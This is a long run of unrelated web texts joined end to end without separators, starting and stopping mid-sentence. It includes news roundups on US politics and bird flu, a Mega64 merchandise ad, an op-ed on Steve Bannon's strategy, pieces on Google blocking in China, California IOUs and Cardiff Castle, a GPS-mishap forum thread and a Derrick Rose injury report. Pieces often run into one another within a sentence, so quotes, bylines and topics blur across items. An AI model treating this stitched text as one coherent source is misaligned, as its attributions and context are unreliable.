budget discipline to Washington, D.C.' Total federal spending grew from $1.86 trillion in 2001 to nearly $3 trillion in 2008, an annual growth rate of 7 percent. Spending in President Obama’s first six years has had an annual growth rate of about 4 percent. Bush’s fiscal criticism is the most direct critique to date of his brother's presidency. He has said that'mistakes were made' during the Iraq war, but he otherwise avoids directly criticizing his brother or his father, George H.W. Bush, another former president." Ed O'Keefe in The Washington Post. The Senate ends a filibuster on Obama's trade agenda. "The 62-38 vote preserves the possibility that the Senate can finish the trade bill before the Memorial Day recess, which would be a major boon to Obama and Republican leaders in the House and Senate. It came after a round of horse-trading that assures the Export-Import Bank will receive a chance at a lifeline to live past June 30, when it is scheduled to expire.... McConnell was seen on the floor talking with senators in both parties who want to see Ex-Im extended, and soon after a half-dozen lawmakers announced their support for the trade measure." Burgess Everett and Manu Raju at Politico. The administration will release a new major new rule on clean water. "Environmentalists have praised the new rule, calling it an important step that would lead to significantly cleaner natural bodies of water and healthier drinking water. But it has attracted fierce opposition from several business interests, including farmers, property developers, fertilizer and pesticide makers, oil and gas producers and a national association of golf course owners. Opponents contend that the rule would stifle economic growth and intrude on property owners’ rights.... The announcement of the rule could come as soon as Friday. If not, it is likely to happen next week, people with knowledge of the plans said." Coral Davenport in The New York Times. The Central Intelligence Agency has closed a major climate-science program. "Under the program, known as Medea, the CIA had allowed civilian scientists to access classified data—such as ocean temperature and tidal readings gathered by Navy submarines and topography data collected by spy satellites—in an effort to glean insights about how global warming could create security threats around the world.... Data gathered by the military and intelligence agencies is often of much higher quality than what civilian scientists normally work with.... Over the past several years, climate change has gained prominence among defense experts, many of whom see it as a 'threat multiplier' that can exacerbate crises such as infectious disease and terrorism. Medea had been part of a larger network of climate-related initiatives across the national security community. Medea's closure notwithstanding, that network appears to be growing." Tim McDonnell in Mother Jones. An outbreak of bird flu has tripled the price of eggs. "Egg companies—the sector hit hardest by the virus—and turkey producers are spending millions of dollars to try to contain the disease. With eggs in particular, the problem is greatly complicated by the way the American industry is concentrated in the hands of relatively few producers.... Avian influenza has resulted in the deaths or extermination of at least 38.9 million birds, more than double the previous major U.S. outbreak in the 1980s. Of that total, more than 32 million are egg-laying hens, accounting for about 10% of the U.S. egg-laying flock.... The outbreak has wiped out about one-third of the egg-laying flock in Iowa, the biggest U.S. egg producer. Some egg companies are unlikely to survive because of the costs of culling animals and having to go months without revenue while facilities are cleaned and repopulated with hens." Kelsey Gee in The Wall Street Journal.Last night on our live show, we BOMBASTICALLY debuted all of Mega64's Black Friday specials. This is without a doubt the biggest Black Friday blowout we've never had, with more rare cool stuff than ever! Without further ado, here's what's coming out on November 28th! MEGA64: TIME IS RUNNING OUT Blu Ray Set! This killer Blu Ray collection of our past few years of work and a billion extras finally releases on Black Friday, November 28th. People who preordered will get theirs first, but we WILL have copies available for those who didn't on Black Friday! In addition, all media orders (Blu Ray or DVD) will get 1 of 5 limited edition Time Is Running Out art cards! Collect 'em all! We will also be selling a poster of the Time Is Running Out cover artwork, of course! Next up, all APPAREL or POSTER orders earn you one free COSPLAYERZ Black Friday poster! This rare art print by Jason Cryer is ONLY available on Black Friday- one free if your order contains any apparel or posters. Then, for the first time we'll be selling our new shirt design spanning all our past eras, the "Mega64est" shirt! This shirt, featuring artwork by Andrew Douglas, captures the entire lifespan of the Mega64 Podcast in one shirt. And speaking of shirts... The Mega64 BIO-SHIRT will also go on sale online for the first time online. Our "MEGA MANSION" design is also returning... in sweatshirt form! This awesome design will be released on Black Friday as a warm, comfortable sweatshirt. We will also have the return of mystery shirts (random shirts for sale at a very low price) as well as discounts on some other random shirts in our online store! The SEQUENCE ERASE shirt will be available due to high demand. This is a rare one time printing of 100 shirts and will not be reprinted. Only on Black Friday! The Mega64 "Z" Poster was previously only available at PAX, but due to INSANELY high demand, we'll be selling our (limited) amount of stock left online on Black Friday (Artwork by Mariel Cartwright). And that's it for now... but who knows what other surprises are in store? We'll see you this Black Friday, November 28th for this explosive sale. We'll be live streaming when it happens, and we hope you'll join in the fun!As digital replaced analogue, perhaps artificial intelligence will one day surpass the brain’s cognitive capacity, a tipping point referred to as the “singularity.” – Andy Haldane So when might this event happen? Ray Kurzweil, one of the leading thinkers on A.I estimates it could happen as early as 2045. Fortunately he’s an optimist, but let’s hope he knows what he’s doing, because he now works for Google. In terms of what the Singularity is, we can either look at A.I being a separate intelligence to ours, or if you believe in transhumanism, then you will be uploading your mind to a computer, to actually merge with A.I. After a bit of online research on the history of artificial intelligence, here is an infographic I designed to make sense of it all. Icons come from the Noun Project. Artist credits are here. I’m at the start of my A.I journey, so please leave your comments on future predictions below! Like this: Like Loading...In his fateful interview with Robert Kuttner of The American Prospect, Steve Bannon’s remarks about taking a tougher stand on trade with China, battling his enemies within the administration, and the futility of military action against North Korea generated the most headlines. But it was a widely overlooked comment about identity politics that offers the most important insight into the brilliant and cynical political mind of President Donald Trump’s now-departed counsellor and former campaign CEO. ‘The Democrats, the longer they talk about identity politics, I got ‘em,’ Bannon gloated to Kuttner. ‘I want them to talk about racism every day. If the left is focused on race and identity, and we go with economic nationalism, we can crush the Democrats.’ Rare does a political strategist so explicitly reveal his game plan. Rarer do his opponents utterly fail to recalibrate their tactics in response. From the day Trump announced his candidacy for president with a smear maligning Mexicans as rapists, to the release of a tape in which he joked about groping women, the American left has campaigned against Donald Trump largely on claims pertaining to identity: that Trump is a racist, a misogynist, a xenophobe, an Islamophobic bigot. When Trump hired Bannon to run his presidential campaign, Hillary Clinton and her allies doubled-down on this line of attack, with Clinton going so far as to deliver a speech in which she attacked Bannon by name, a rare feat of notoriety for a campaign CEO. Notwithstanding the merits of these charges against Trump – which I happen to agree with – it was clearly an unsuccessful strategy, as Trump not only won the election, but did so with a higher portion of the black and Latino vote than his Republican predecessor, and with a respectable 42 percent of women. This result came as a shock to people living in Democratic Party redoubts, like major metropolitan areas and college towns. And it came as a particular shock to the media, which had predicted with utter certainty that Donald Trump could never be elected president. They could not fathom how a man who so easily vilified minorities, who brought the concept of political incorrectness to such startling depths, could attain the presidency of the United States. But long before anyone took Trump seriously as a hypothetical presidential candidate, Bannon saw in the New York real estate magnate a potential standard-bearer for an increasingly polarising America. Trump became the vessel through which Bannon could implement an insight which has proven rather reliable in America (and elsewhere, too): forced to choose between a chauvinist, xenophobic, majoritarian, nationalist right and a smug, post-nationalist, identity politics-obsessed left, most will choose the former. Throughout his short, eight-month tenure at the White House, Bannon – who has been described as a ‘Leninist’ – committed himself to effectuating this dialectic. His influence can be seen in three policy battles he helped instigate, all aimed at forcing Trump’s political adversaries and the media (dubbed ‘the opposition party’ by Bannon) onto political terrain where the right traditionally has a home field advantage: the so-called ‘Muslim travel ban’, the hastily-announced prohibition on transgender military service, and the just-erupted fight over statues and historical memory. In each case, Bannon nudged Democrats and liberals into adopting positions that, while fashionable with their activist base and media elite, are either unpopular or considered irrelevant to a wide majority of the American people. And by repeatedly taking his bait, the American left is allowing Bannon to define them. Start with the travel ban, which, however immoral or controversial, is constitutional and applies only to seven majority Muslim countries. Liberals’ first mistake was to label the executive order a ‘Muslim travel ban’, not only because this description is factually wrong, but because, frankly, Americans aren’t so enthusiastic about the prospect of more Muslim immigrants. Polls have found overwhelming public support for the ban, 60 percent of Americans in favour to only 28 percent opposed. 56 percent of independents and 41 percent of Democrats support Trump’s position. Bannon himself couldn’t have scripted the liberal reaction better: the minute the ban was announced, protestors rushed to airport terminals across the country denouncing Trump; at JFK, hundreds chanted ‘No borders, no nations, fuck deportations!’ a message certainly bound to go down well among the voters Democrats will need to win back in 2018 and 2020. Trump – following Bannon’s strategic advice – was able to define himself as taking a tough stance against terrorism while his adversaries argued for Muslim immigration. Next came the ban on transgender military service, which Bannon allegedly convinced Trump to announce over Twitter and that apparently took the Joint Chiefs of Staff by surprise. While a majority of Americans support transgender people having the right to serve in the military, it is hard to imagine that Trump lost any support over this decision. What it did offer was red meat to his base. Moreover, it is the sort of boutique issue that the more Democrats talk about – making absurd claims like 150,000 transgender people have served in the military, enlisting at twice the rate of the general population – the more politically tone-deaf they sound. Finally, there is the fraught-issue of Confederate monuments. It was Bannon, alone among the president’s advisors, who told Trump to place equal blame on neo-Nazi and far left protestors for the violence in Charlottesville. And it was Bannon who, as he gloated in an interview with the New York Times, encouraged Trump to make the slippery-slope argument regarding the removal of Confederate statues, rhetorically asking the country if the dismantling of Robert E. Lee would lead to the razing of Washington and Jefferson. ‘Just give me more,’ Bannon gushed to the New York Times about the liberal reaction to Charlottesville. ‘Tear down more statues. Say the revolution is coming. I can’t get enough of it.’ As with the travel and transgender bans, the response from the ‘resistance’ was Pavlovian. Over the past two weeks, mobs have taken down Confederate statues, graffiti was sprayed on the Lincoln Memorial, a Lincoln bust was defaced in Chicago, a Democratic CNN analyst demanded that monuments to Washington and Jefferson be demolished (which would mean the destruction of two of Washington, D.C.’s most iconic attractions, if not the renaming of the national capital itself), and Democratic congressional leaders wrote bills mandating the removal of Confederate statues from the Capitol building. All this occurs against the backdrop of a poll reporting 62 percent of Americans want Confederate statues to remain in place, a finding that includes 44 percent of Democrats and, most surprisingly, a plurality of African-Americans. Of all the shocks of the Trump presidency, it is the public reaction – or lack thereof – to Charlottesville and the ensuing aftermath that have caused the greatest disbelief among the political and media elite. In all of my time following the Trump campaign and presidency, I cannot recall a single occurrence to which there has been a more uniformly negative media outcry than Trump’s reaction to the events in Charlottesville. But what Trump was able to do – by taking Bannon’s advice – was pivot from the controversy over apportioning blame for violence to the politically safer issue of iconoclasm, where public opinion verges drastically from that of the elite media. (And even on the matter of Trump’s claiming ‘both sides’ were to blame for the melee in Charlottesville, remarks that earned him vituperation more intense and widespread than anything I can recall, 40 percent of Americans agree with Trump that far right and far left are equally to blame). A large part of this disconnect between the media and the public has to do with the medium of Twitter and an obsession with cable news. The former has become an echo chamber for reporters and political commentators where the currency is moral outrage and the pastime is one-upmanship, with everyone trying to outdo each other in quick takes on the president’s latest atrocious behaviour. As for cable news, it is watched by relatively few people (no more than a couple of million in a country of 320 million), many of whom are political journalists. The 24-hour news cycle and its constant need for controversy, combined with the frenetic incompetence of the Trump administration, exacerbates the problem of hysterical news coverage by compelling journalists to frame every minor development with breathless stupefaction. The media’s attachment to Twitter and cable news blinds them from recognising what Bannon grasps: that the Democratic Party is increasingly becoming hostage to its activist, progressive, identity politics-driven base, which obsesses over issues not relevant to the vast majority of the American people but that play well on Twitter and MSNBC. Social media has amplified the voices pushing these issues and their influence over day-to-day political decision-making and the newsgathering process. Bannon witnessed this phenomenon firsthand at Breitbart, where a focus on the excesses of the politically correct left proved immensely popular with readers, and later in the Trump campaign, where marshalling resentment against patronising liberal elites proved a winning strategy. Bannon sees his job as edging the radicalisation of the Democratic Party further along, ‘heightening the contradictions’ as a Leninist would put it, and it’s a strategy he’s not particularly shy about broadcasting. Bannon’s departure from the administration does not mean this strategy will change. His leaving had nothing to do with policy, on which his instincts mirror Trump’s better than those of anyone remaining in the White House, and everything to do with what it is that ultimately drives every decision in Trump-land: the president’s narcissism. Trump decided to dump Bannon because he didn’t like how his underling was drawing attention to himself, acting as if he were the wizard behind the curtain. When Trump first criticised Bannon publicly, after he appeared on the cover of TIME, it was in response to the perception that ‘President Bannon’ was running the show. ‘A guy who works for me,’ is how Trump dismissively referred to his senior counsellor at the time. Last week, asked about Bannon at his press conference in Manhattan, Trump made sure to note that ‘I went through 17 senators, governors, and I won all the primaries. Mr. Bannon came on very much later than that.’ The president’s message could not have been more clear: it was Trump, and Trump alone, who deserves credit for winning last year’s election. And so we should have every expectation that Trump will continue the Bannonite strategy of playing the role of culture warrior-in-chief. This appraisal of Bannon’s political acumen should not be interpreted as a moral judgment on the policy prescriptions he has advised Trump to follow. For what it’s worth, I disagree with Bannon and Trump on the travel ban, the transgender ban, and the removal of Confederate icons. But I’m not the sort of person Democrats need to win future elections. Bannon is a master storyteller and creator of narratives, skills he honed making political documentaries and sharpened in more lurid form at Breitbart. The grand narrative he’s spent the last several years shaping is one in which the Democrats gradually become the caricature villain of a Breitbart comments section: the party of Colin Kaepernick and Melissa Click and the screaming girl at Yale and the people defacing the Lincoln Memorial and the pundits who equivocate over condemning Antifa and the transgender YouTube activist who insists that ‘some women have penises’. Democrats shouldn’t fall into his trap. James Kirchick, a visiting fellow with the Brookings Institution, is author of ‘The End of Europe: Dictators, Demagogues and the Coming Dark Age.’When a nurse of 26 years asked Theresa May to lift the cap on NHS pay during a pre-election debate, she was told “there isn’t a magic money tree.” Well, it turns out there is and Theresa May has given it a good shake as she desperately tries to prop-up her weak and wobbly minority government. The Tory has just signed a deal with the DUP worth £1.5 billion in order to secure the support of their 10 MPs. That is the exact cost of a pay rise for all 1.2 million the overworked and underpaid heroes running the NHS in England – who have had their pay capped since the Tories took power in 2010. Institute of Fiscal Studies director Paul Johnson calculated that it would cost £500 million for every 1% you increase the pay of NHS staff. So £1.5 billion is the amount needed to fund the 3% pay rise Labour promised them before the general election. That policy was predictably savaged by the Daily Mail – we hope to see the same treatment given to the May-DUP deal: It’s official: 10 DUP MPs are worth more to Theresa May than a million doctors, nurses and midwives…Casey Jones is the story of a quirky young man with an irresistible propensity for violence. A lifelong outcast, Casey learned at a young age to channel his brutal urges into sports, but after being kicked off the local hockey team for excessive force during practice, Casey moves back in with his worrisome mother to seek solace at his boyhood home. His retreat is soon interrupted though when a vicious gang of street punks, the Purple Dragons, savagely beat him with pipes for attempting to remove their graffiti. After narrowly escaping the encounter with his life, Casey vows to single-handedly rid his neighborhood of crime. Armed with a golf bag loaded with clubs and sporting a fearful hockey mask, Casey stalks the alleyways by night, mercilessly trouncing any delinquents unlucky enough to cross his path. The misguided crusader soon goes off the deep end, and an unlikely ally from the sewers is forced to intervene before the vigilante annihilates every criminal in the city.Google services are being disrupted in China ahead of this week's 25th anniversary of the 1989 crackdown on pro-democracy demonstrators around Beijing's Tiananmen Square, a censorship watchdog said on Monday. GreatFire.org said in a blog post that the government appeared to have begun targeting Google Inc's main search engine and Gmail, among many other services, since at least last week, making them inaccessible to many users in China.It added that the last time it monitored such a block was in 2012, when it only lasted 12 hours.“It is not clear that the block is a temporary measure around the anniversary or a permanent block. But because the block has lasted for four days, it's more likely that Google will be severely disrupted and barely usable from now on,” the advocacy group said.Asked about the disruptions, a Google spokesman said: “We've checked extensively and there's nothing wrong on our end.”Google in 2010 moved its Chinese search engine service out of China, the world's second-largest economy, citing rampant censorship, and now operates it from Hong Kong.The Chinese government already blocks the popular foreign websites Facebook, Twitter and Google's own YouTube.For the ruling Communist Party, the 1989 demonstrations that clogged Tiananmen Square in Beijing and spread to other cities remain taboo, particularly on their 25th anniversary.The government has detained several activists last month after attending a meeting about the protests, including prominent rights lawyer Pu Zhiqiang, prompting concern in the United States and Europe.The anniversary of the date on which troops shot their way into central Beijing in 1989 has never been publicly marked in mainland China, though every year there are commemorations in Hong Kong.The government has never released a death toll for the crackdown, but estimates from human rights groups and witnesses range from several hundred to several thousand.China already has strict controls on what can be said online, and the government has been further tightening those restrictions.Users of China's popular Twitter-like service Weibo sounded off about the Google blockage.“Those officials are driving me crazy with this!” wrote one user.President Barack Obama's options in Syria were limited by his efforts to negotiate the Iran nuclear deal. US President Donald Trump doesn't have those limitations and is free to strike Syrian President Bashar Assad's regime and Iranian-backed groups. Trump has called Iran's bluff but risks Iranian-backed militias striking US forces. As US President Donald Trump enjoyed chocolate cake with Chinese President Xi Jinping at Mar-a-Lago in April, he ordered the military to do something his predecessor hadn't dared: directly strike Syrian President Bashar Assad's regime. Trump, a political neophyte then inside his first 100 days in office, attacked an ally of Russia and Iran after intelligence services concluded that Assad's forces had used chemical weapons on Syrian civilians, many of them children. But Syria never fired back. Neither did Russia. And so far, Iran hasn't either. The salvo of 59 cruise missiles that took out a handful of Assad's warplanes went virtually unpunished. The incident typifies the difference in Trump's and President Barack Obama's Syria policy, in which Trump seems to have successfully called Iran's bluff. Obama was pressed by a similar situation in 2013, after evidence surfaced that Assad violated Obama's "red line" by using chemical weapons. Instead of following through on his threat to hit Assad in response, Obama agreed to let Russia step in and deal with the chemical-weapons stockpile. Toward the end of Obama's term, it became clear why he had shied away from striking Assad: He was focused on the Iran nuclear deal. "When the president announced his plans to attack [the Assad regime] and then pulled back, it was exactly the period in time when American negotiators were meeting with Iranian negotiators secretly in Oman to get the nuclear agreement," Wall Street Journal reporter Jay Solomon told MSNBC last year. "US and Iranian officials have both told me that they were basically communicating that if the US starts hitting President Assad's forces, Iran's closest Arab ally... these talks cannot conclude," Solomon continued. Iran nuclear deal More But Trump has patently different ideas about Iran. He vocally opposed the Iran deal and campaigned on tearing it up. While Trump hasn't followed through, his administration has moved to put additional sanctions on Tehran, as the deal has freed up over $100 billion of Iran's funds. And importantly, Trump has shown he'll hit Assad if needed and even hand over power to battlefield commanders to hit Iranian-backed forces if they threaten US troops. For more news videos visit Yahoo View, available on iOS and Android. Obama's refusal to enforce his red line or punish Assad militarily for a host of war crimes Assad has been accused of committing under his watch "was never about fear of World War III," said Jonathan Schanzer, an expert on the Middle East from the Foundation for Defense of Democracies. "The fear for Obama was upsetting the nuclear deal. That was what they were protecting. It wasn't about sparking some wider confrontation," said Schanzer, alluding to Russia's 2015 entrance into the conflict on Assad's behalf. Revolutionary Guard IRGC Basij More So while Obama walked on eggshells with Iran to preserve his deal, apparently believing Iran would exit if he acted against it, Trump has had the benefit of entering office post-deal. Every review of Iran's nuclear facilities by the International Atomic Energy Agency since Trump took office has shown that Iran is complying with the deal's terms. To outside observers, Iran appears in line with the letter of the deal, even after the US's April 7 strike on Assad's airfield. But the tension between the US and Iran hasn't resolved — it has shifted. Nick Heras, an expert on Syria with the Center for a New American Security, told Business Insider that Iran's attention had settled on eastern Syria, where a US-led coalition is getting ready to dislodge ISIS.As banks and credit unions stop accepting California IOUs, a market for the securities has sprung up on eBay and Craigslist. Not so fast... California Sets Terms on IOUs as Questions Arise. As California continues to issue "IOUs", more controversy is brewing over their use. On one side, IOU recipients are beginning to trade them like currency, forcing the California state treasurer's office to issue guidelines if they are sold through eBay (EBAY), Craigslist or other means. California's treasurer is telling recipients of the IOUs that if they sell them to third parties, they will be redeemed by the state treasurer's office only if accompanied by a notarized bill of sale signed by their listed payee. "We are in the process of contacting officials of eBay and Craigslist to post a notice of the policy on their sites," the statement said. Speculation is rising over whether California's tax-exempt IOUs, technically registered warrants, can be bought, sold and traded. The Securities and Exchange Commission must first determine if the IOUs are securities to regulate them, said Ernesto Lanza, general counsel to the Municipal Securities Rulemaking Board, adding that the board was not working directly with the commis—sion on that decision. "It looks like it has all the hallmarks of a security," Lanza told Reuters. "If they are securities, I think they're pretty clearly municipal securities." At least one website aims to offer a platform for selling the registered warrants. Obed Dorceus, owner of ioumarket.com, said he sees a potential secondary market for the IOUs — and potentially other government promises to pay. A group of the biggest U.S. banks said they would stop accepting California's IOUs on Friday, adding pressure on the state to close its $26.3 billion annual budget gap. The group of banks included Bank of America Corp. (BAC), Citigroup Inc. (C), Wells Fargo & Co. (WFC) and J.P. Morgan Chase & Co. (JPM), among others. The banks had previously committed to accepting state IOUs as payment. California plans to issue more than $3 billion of IOUs in July. Ms. Mills of the CBA said some banks were concerned that there aren't processes in place to accept IOUs, and also worried about fraud issues. She noted that not all banks have set a July 10 deadline, and that dozens of credit unions in the state will keep accepting IOUs. Wells Fargo's head of community banking, Lisa Stevens, said: "We're very disappointed, as are many Californians, that California has taken the unfortunate step of issuing IOUs in lieu of payments to some businesses and individuals." State officials said they were disappointed by the banks' decision. Garin Casaleggio, a spokesman for Mr. Chiang, said: "We don't want anybody to suffer who can't redeem them when they need cash." Big Banks Cutting Own Throats Every one of those blood sucking banks was bailed out by taxpayers (California taxpayers too) and now will not take an IOU from the State of California for the citizens of California. This is disgusting. If you have an IOU that the big banks will not cash, I recommend closing your accounts and putting them someplace that will. Please tell Wells Fargo, Bank of America, JP Morgan, and Citigroup to go to hell. Addendum However, I am willing to put myself in the shoes of a contractor with employees who needs to cash to pay his employees and subcontractors. There is going to be one massive domino effect of defaults and business closures if people are not paid. Contractors and state employees are legitimately owed that money for services rendered. I am all in favor of axing jobs, whatever it takes to balance the budget. I am not in favor of holding businesses and consumers hostage for services already rendered while it is done. However, two wrongs do not make a right, and if I had a bank account at any of those places and they refused to honor IOUs from the state I would move my account to someplace who would. Addendum II It is very interesting that the big banks have reversed. This confirms my suspicion that, despite the bailouts, the banks are intensely in pain for cash to meet their obligations, and cannot make themselves further illiquid by accepting IOUs. As far as secondary markets, this whole situation reminds me a lot of Continentals.Still, it's hardly accidental that mouthing off about what he calls "the Russia thing" keeps media attention and possible public opposition away from other congressional and executive-branch activities. The same day as the hearing, the House passed an anti-Dodd-Frank bill that wipes out the requirement for brokers to act in their clients' interest, cuts limits on risk-taking by financial institutions, and strangles the Consumer Financial Protection Bureau. Elsewhere, Senate Republicans are closing in on a bill to gut Obamacare, congressional staffers are polishing tax cuts that favor the rich, and planners across the executive branch are cranking out blueprints for chopping everything from food stamps to Medicaid, the Energy Star program that calculates electricity use for new household appliances, and the ratings system that tells new car buyers how many miles they can expect from a tank of gas.Morocco was thrown out of the 2015 African Cup of Nations and stripped of its hosting rights Tuesday after refusing to commit to the scheduled dates early next year because of fears over Ebola. The Confederation of African Football said the tournament would now be hosted by another country. It didn't announce which one, but said it had received "some applications'' to replace Morocco. CAF said in a statement that the applications from possible replacement hosts were now "under review". CAF repeatedly refused Morocco's request to postpone the African Cup until 2016 because of fears over the spread of the deadly Ebola virus, which has killed about 5,000 people in West Africa. The African football body insisted the continent's showpiece tournament must go ahead on the planned dates of January 17-February 8. "Having firmly and unanimously notified... its decision to keep the competition on the dates indicated, the executive committee confirmed that the Africa Cup of Nations 2015 will not take place in Morocco,'' CAF said. The body's decision-making executive committee also decided "that the national team of Morocco is automatically disqualified'' because of its "refusal'' to host. CAF will decide on further punishments for Morocco for breaching its contractual obligations as host, the statement said. CAF has not named any countries it is considering as a replacement for Morocco.The fantasy Moorish design of the Arab Room, reminiscent of pre-Raphaelite visions of harem rooms, was designed in the 1880s by architect and medieval revivalist William Burges for the castle’s Victorian-era owner, John Crichton-Stuart, the 3rd Marquess of Bute. The architect was inspired by his extensive travels as well as the works of French Orientalist Emile Prisse d’Avennes, who published a popular collection of Arab designs in 1877. Described as “arguably the apogee of Burges’s work as an interior designer,” the Arab Room is stunning even amongst the grand halls, gardens and wood-paneled library Burges created at Cardiff Castle. In order to accommodate the Arab Room’s elaborate high-vaulted ceiling, the upper two floors were removed. The ornate golden ceiling is not simply gold paint but is in fact pure gold-leaf painstakingly applied by hand. While the use of gold leaf is common-place throughout the opulent property, it is estimated that the gold in the Arab Room alone amounts to a whopping £8 million. Cardiff Castle itself dates back to at least the 11th century at the site of a much earlier Roman Fort. Traces of the Roman wall can be seen as well as the Norman Shell Keep in the center. The residence and garden grounds of the castle were extensively overhauled under that patronage of the 3rd Marquess of Bute, who allowed Burges a perfect playground
a view that the current animal moment in literature is still coming to terms with. ‘In a way it has retired to folklore,’ she says. ‘If you look at the old traditions of the folk tale there is a darkness, there is the idea of an intense gaze you would get back from a wild animal that you wouldn’t get from an animal in a zoo … You don’t want to idolise that too much because that violence in the wild reminds you that life is meaningless, and that our life ends with as little meaning of those species around us.’ Perhaps the driving force behind the recognition of sentience is the attempt to escape our own animal instincts. But, if we accept that animals feel, and then further accept that a distinction between their pain and ours is an arbitrary one, it seems our decision really comes down to whether we can justify treating species differently. According to Ferrere, once you outline this approach many people alter their behavior as a result. ‘Public pressure is what has given rise to all of the changes so far,’ he says. ‘People find it very difficult to resist.’Pin 204K 206K Shares Ah, nothing holds more creative possibilities than an empty cardboard box. Come on, that’s not really a box. Sure, it is a shipping parcel, but it can be so much more. It’s a fort, a rocket ship, an artistic outlet, a musical instrument, there is so much more beyond those cardboard boxes sitting in your mud-room, that paper towel roll, that tissue box! Before you toss it in your recycling bin, try re-purposing it! Children will love imagining all the possibilities of what to create with the versatile compound! #1 – Rocket Ship Junior space cadets are sure to love this adorably re-purposed cardboard box! If you have a few boxes, one of large size, and one of a slightly smaller size, have the kids work on decorating the smaller one (the top of the ship), and you can cut an opening for the little ones to crawl inside! Source: BabbleTourists follow GPS and end up in the sea Article by: Darren Griffin Date: 16 Mar 2012 Yet another case of 'engage brain before engaging drive'. This one took place in Queensland, Australia. Three hapless Japanese tourists decided to drive to North Stradbroke Island. But, rather than take the ferry, they chose to rely on their satnav which guided them out into the sea. Low tide may have convinced them that there was a drivable route but after 500m they became bogged down in the tidal mud flats and, all too late, realised their error. They were able to make it back to shore on foot but the car, a rental, was lost. Insurance covered the car but a $1500 excess may make them think before putting so much trust in a satnav instead of their eyes in future. Source: The Redland Times Tweet Comments Posted by matthewj on Fri Mar 16, 2012 10:15 am The route seems sensible to me... http://g.co/maps/tk96a What's that blue stuff again? Posted by M8TJT on Fri Mar 16, 2012 10:47 am Shame their sat nav didn't tell them to 'Board the ferry' Posted by spook51 on Fri Mar 16, 2012 1:08 pm It probably did but omitted to tell them to wait until it berths. Posted by PedroStephano on Fri Mar 16, 2012 9:27 pm SatNav: "Turn around when possible" Driver: "I'm trying as hard as I can. It just won't respond. Where's the Alt-F4 keys?" iOS rokcs (but my typing - well....) @PedroStephano Posted by The Rudd on Sat Mar 17, 2012 6:39 am Perhaps they were driving to hurry up and catch the ferry ahead in the hope that they could drive on and sail for the rest of the way? Posted by smartroad on Fri Mar 23, 2012 8:21 am http://www.youtube.com/watch?v=WEf8Jas7ZqQ Maybe this is what they were trying... Posted by nunga on Tue Mar 27, 2012 2:50 am This was a crack up for the locals, but truly, if you load brisbane to point lookout (on stradbroke island) into tomtom, it takes you to the ferry terminal at cleavland, plots the ferry course across the bay, and then to the desired destination. Where they launched from was a boat ramp about a km south of the ferry. If that route looked normal to them, what are some of there roads like I alsk?The pro-business American Legislative Exchange Council, known as ALEC, has pushed for many of the pre-emption laws. More recently, however, it has adopted the methods of its opponents. It has helped policy makers in local government make laws to reduce the size of government, for instance, even when states decline to do so. One division of ALEC, called the American City County Exchange, has most notably pushed for local right-to-work laws to allow workers who are members of a union to opt out of paying dues. Yet in other cases, it has drafted legislation to prevent cities from coming up with their own laws, including on issues like plastic bag bans and containers for composting. “Sometimes cities and counties overstep the powers they’ve been given,” said Jon Russell, director of the exchange and a town councilman in Culpeper, Va. “There are certain times states and cities are going to disagree, but for the most part, we’re going to figure out ways to resolve certain regulatory issues while staying in our lanes.” The demographics of big urban centers — often more liberal and diverse than other parts of the country, and more likely to be governed by a single party — foster more progressive policy-making than elsewhere. And that policy-making does seem to bubble upward to the national level. Workers’ rights are one of the main focuses of today’s urban politics, and several such city policies are now getting state and national attention, including in the presidential campaign. Paid sick leave is an example. The first city to require it was San Francisco in 2006. It is now the law in 23 cities and states, and President Obama last fall required federal contractors to provide it. (Meanwhile, more than a dozen states have pre-emption laws to stop cities from requiring paid sick leave.) Minimum wage is another example. SeaTac, Wash., passed a $15 minimum wage in 2013. Nearby Seattle followed, and then so did San Francisco, Los Angeles, Mountain View, Calif., and Emeryville, Calif. Fourteen states have since changed their minimum wage laws, two bills in Congress would do the same nationally, and all three Democratic presidential contenders have said they would raise the federal minimum wage.A police officer in Boynton Beach, FL has been fired after officials say an investigation revealed he offered a woman he thought was a prostitute $20 for oral sex, but she was actually a cop working undercover as part of a prostitution sting operation with the Palm Beach County Sheriff’s Office. According to a report published late Tuesday in the Sun-Sentinel, Vintyre Finney, 32, was officially fired from the Boynton Beach Police Department on April 11, although he had been on paid administrative leave since October 2015 when he was allegedly caught up in the prostitution sting. The Sun-Sentinel obtained a copy of Finney’s termination letter, which faulted him for his refusal to cooperate or give a statement to investigators. The newspaper says Finney lawyered up and exercised his right to remain silent. They report: “Since neither you nor your attorney presented your version of events to me, nor did you provide me with other information which would constitute a defense or mitigation, or would refute or explain the facts which gave rise to the charges or the reasons for the action, I am left with only the information … to consider,” Boynton Beach City Manager Lori LaVerriere wrote in the letter. “The video evidence in this matter is clear that you violated the city rules as alleged.” Officials who investigated the incident determined that Finney should be fired for conduct unbecoming a police officer and conformance to law, both violations of department policy. Officials on Tuesday also released video of the alleged incident that was captured on police cameras. It reportedly shows Finney, who has been married since 2012, sitting in the driver’s seat of his vehicle while allegedly attempting to negotiate the price for oral sex from the undercover cop who he believes to be a prostitute. Here is the Sun-Sentinel’s recap of what is seen and heard on the video: “Whatcha looking for tonight?” the alleged prostitute asked as she stood at the window of Finney’s car at 8:35 p.m. on a Saturday night, a video clip of the interaction showed. The married officer’s response was muffled and inaudible on video, but according to a police report, Finney said: “If I know you had all that thickness, I would’ve said what’s between the legs but you got a good head on your shoulders and I can deal with that too.” “Looking to have some fun then? the woman next asked. She followed up with “You got cash on you?” After Finney confirmed that he had money on hand, she gave him directions from their Lake Worth location in the 1800 block of South Dixie Highway to a nearby apartment. Finney was also charged criminally with one misdemeanor count of soliciting a prostitute, according to the report. He entered a not guilty plea on March 1 and is scheduled to appear in court again in Palm Beach County on May 13. Video of the incident can be viewed HERE via the Sun-Sentinel website. [image via screengrab]CHICAGO -- Derrick Rose's knee surgery was successful, and the Bulls guard should be cleared to return to the team in four to six weeks, general manager Gar Forman said Friday. For Rose, the former MVP who had missed most of the previous two seasons with surgeries to both of his knees, this was positive news. "There's the old saying that surgery's minor as long as it's on somebody else," Forman said. "But in this case, in comparison to what Derrick's had to go through the last several years, this surgery really was minor." On Tuesday evening, the Bulls surprisingly announced that Rose tore the medial meniscus in his right knee for the second time in 15 months and would undergo surgery. But unlike his previous surgery, which knocked him out for the 2013-14 season, the Bulls believed this was a more minor injury. Those beliefs, based on his exam and MRI results, were borne out Friday morning when team physician Brian Cole performed the meniscectomy surgery, where "the torn part or the damaged part of the meniscus was removed," Forman said. "It was an anthroscopic outpatient surgery, so Derrick at this time is full weight-bearing," Forman said. "It was a quick procedure. He had it done 